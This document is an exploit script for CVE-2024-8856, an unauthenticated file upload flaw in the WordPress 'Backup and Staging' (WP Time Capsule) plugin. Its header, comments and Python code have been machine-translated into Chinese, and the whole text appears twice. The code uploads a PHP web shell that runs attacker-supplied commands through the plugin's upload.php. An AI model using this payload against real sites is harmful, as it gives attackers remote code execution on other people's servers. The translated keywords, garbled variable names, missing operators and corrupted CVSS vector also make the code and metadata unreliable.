#利用标题: WordPress备份和登台插件≤1.21.16-任意文件上传到RCE
#原始作者: PatchStack(假设)
#利用作者: Al Baradi Joy
#利用日期: 2025年4月5日
#供应商homepage: https://wp-timecapsule.com/
#软件link: https://wordpress.org/plugins/wp time-capsule/
#版本:直到和包括1.21.16
#测试版本: 1.21.16
#CVE ID: CVE-2024-8856
#漏洞类型:任意文件上传/远程代码执行
#Description:
#WordPress插件'备份和登台wp time capsule'最多版本1.21.16
#允许未经验证的攻击者通过upload.php端点上传任意文件。
#如果PHP文件被直接上传并执行,则可以导致远程代码执行
#来自WP-CONTENT/插件/wp time-capsule/wp-tcapsule-bridge/Directory。
#概念证明:是
#类别: WordPress插件,文件上传,RCE
#CVSS得分: 9.9(关键)
#CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S3:U/C:U/C33:H/I3:H
#NOTES:
#成功的利用可在运行Web服务器的用户时提供Shell访问。
#在启动攻击之前,请确保目标是使用脆弱的插件版本。
导入请求
# 横幅
def display_banner():
打印('='*80)
打印('Exploit Title: CVE-2024-8856- WordPress备份和登台
插件任意文件上传')
印刷(“由Al Baradi Joy制造”)
打印('='*80)
#功能以检测目标是支持HTTP还是落到HTTP的功能
Def detect_protocol(域):
https_url=f'https://{domain}'
http_url=f'http://{domain}'
TRY:
响应=requests.get(https_url,timeout=5,ally_redirects=true)
如果响应。STATUS_CODE400:
打印(f'[]目标支持HTTPS: {https_url}')
返回https_url
requests.exceptions.requestexception:除外
打印('[!] https不可用,落回http。')
TRY:
响应=requests.get(http_url,timeout=5,ally_redirects=true)
如果响应。STATUS_CODE400:
打印(f'[]目标支持HTTP: {http_url}')
返回http_url
requests.exceptions.requestexception:除外
print('[]目标在HTTP和HTTPS上都是无法达到的。')
出口(1)
#利用功能
DEF漏洞利用(target_url):
target_url=detect_protocol(target_url.replace('http://',
'').replace('https://','').Strip())
upload_url=
f'{target_url}/wp-content/plugins/wp time-capsule/wp-tcapsule-bridge/upload.php'
shell_url=
f'{target_url}/wp-content/plugins/wp time-capsule/wp-tcapsule-bridge/shell.php?cmd=whoami'
文件={
'file':('shell.php','?php system($ _ get ['cmd']);',
'application/x-php')
}
TRY:
打印(f'[+]试图将shell上传到: {upload_url}')
响应=requests.post(upload_url,files=files,timeout=10)
if antsphy.status_code==200:
打印(f'[]利用成功!webshell可用at:
{shell_url}')
其他:
打印(f'[]无法上传外壳。状态代码:
{Response.status_code}')
除了requests.exceptions.connectionError:
打印('[[]连接失败。目标可能会下降。')
除了requests.exceptions.timeout:
打印('[]请求超时。目标是缓慢或反应迟钝的。')
除了requests.exceptions.requestexception为e:
打印(f'[]意外错误: {e}')
#主要执行
如果name=='__ -Main __':
display_banner()
target=输入('[?]输入目标URL(无http/https):
')。条()
利用(目标)
#原始作者: PatchStack(假设)
#利用作者: Al Baradi Joy
#利用日期: 2025年4月5日
#供应商homepage: https://wp-timecapsule.com/
#软件link: https://wordpress.org/plugins/wp time-capsule/
#版本:直到和包括1.21.16
#测试版本: 1.21.16
#CVE ID: CVE-2024-8856
#漏洞类型:任意文件上传/远程代码执行
#Description:
#WordPress插件'备份和登台wp time capsule'最多版本1.21.16
#允许未经验证的攻击者通过upload.php端点上传任意文件。
#如果PHP文件被直接上传并执行,则可以导致远程代码执行
#来自WP-CONTENT/插件/wp time-capsule/wp-tcapsule-bridge/Directory。
#概念证明:是
#类别: WordPress插件,文件上传,RCE
#CVSS得分: 9.9(关键)
#CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S3:U/C:U/C33:H/I3:H
#NOTES:
#成功的利用可在运行Web服务器的用户时提供Shell访问。
#在启动攻击之前,请确保目标是使用脆弱的插件版本。
导入请求
# 横幅
def display_banner():
打印('='*80)
打印('Exploit Title: CVE-2024-8856- WordPress备份和登台
插件任意文件上传')
印刷(“由Al Baradi Joy制造”)
打印('='*80)
#功能以检测目标是支持HTTP还是落到HTTP的功能
Def detect_protocol(域):
https_url=f'https://{domain}'
http_url=f'http://{domain}'
TRY:
响应=requests.get(https_url,timeout=5,ally_redirects=true)
如果响应。STATUS_CODE400:
打印(f'[]目标支持HTTPS: {https_url}')
返回https_url
requests.exceptions.requestexception:除外
打印('[!] https不可用,落回http。')
TRY:
响应=requests.get(http_url,timeout=5,ally_redirects=true)
如果响应。STATUS_CODE400:
打印(f'[]目标支持HTTP: {http_url}')
返回http_url
requests.exceptions.requestexception:除外
print('[]目标在HTTP和HTTPS上都是无法达到的。')
出口(1)
#利用功能
DEF漏洞利用(target_url):
target_url=detect_protocol(target_url.replace('http://',
'').replace('https://','').Strip())
upload_url=
f'{target_url}/wp-content/plugins/wp time-capsule/wp-tcapsule-bridge/upload.php'
shell_url=
f'{target_url}/wp-content/plugins/wp time-capsule/wp-tcapsule-bridge/shell.php?cmd=whoami'
文件={
'file':('shell.php','?php system($ _ get ['cmd']);',
'application/x-php')
}
TRY:
打印(f'[+]试图将shell上传到: {upload_url}')
响应=requests.post(upload_url,files=files,timeout=10)
if antsphy.status_code==200:
打印(f'[]利用成功!webshell可用at:
{shell_url}')
其他:
打印(f'[]无法上传外壳。状态代码:
{Response.status_code}')
除了requests.exceptions.connectionError:
打印('[[]连接失败。目标可能会下降。')
除了requests.exceptions.timeout:
打印('[]请求超时。目标是缓慢或反应迟钝的。')
除了requests.exceptions.requestexception为e:
打印(f'[]意外错误: {e}')
#主要执行
如果name=='__ -Main __':
display_banner()
target=输入('[?]输入目标URL(无http/https):
')。条()
利用(目标)